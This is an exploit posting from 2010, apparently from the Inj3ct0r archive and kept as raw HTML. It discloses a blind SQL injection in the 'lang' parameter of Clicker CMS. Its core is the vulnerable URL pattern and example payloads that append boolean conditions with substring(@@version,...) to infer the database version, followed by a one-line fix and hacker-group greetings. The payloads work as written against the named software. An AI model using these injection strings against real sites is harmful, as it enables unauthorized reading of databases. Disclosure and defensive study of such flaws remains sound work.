Clicker CMS Blind SQL Injection Vulnerability
Posted on 26 June 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Clicker CMS Blind SQL Injection Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>============================================= Clicker CMS Blind SQL Injection Vulnerability ============================================= # Exploit Title: Clicker CMS Blind SQL Injection Vulnerability # Date: 2010-06-25 # Author: hacker@sr.gov.yu # Software Link: n/a # Version: n/a #################################################################### .:. Author : hacker@sr.gov.yu .:. Contact: hacker@evilzone.org, hacker@sr.gov.yu(MSN) .:. Home : www.evilzone.org, www.balcan-security.com .:. Script : Clicker CMS .:. Bug Type : Blind Sql Injection .:. Risk: High .:. Tested on : Windows & Linux #################################################################### ===[ Exploit ]=== .:. It was found that Clicker CMS does not validate properly the "lang" parameter value. http://server/index.php?lang=4[BSQLi] ===[ Example ]=== http://server/index.php?lang=4 and substring(@@version,1,1)=5-- (true or false) http://server/index.php?lang=4 and substring(@@version,1,1)=4-- (false or true) ===[ Solution ]=== .:. Input validation of "lang" parameter should be corrected. Greetz to ALL EVILZONE.org && BALCAN-SECURITY.com members!!! Pozdrav za sve iz Srbije!!! :-))) # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-26]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>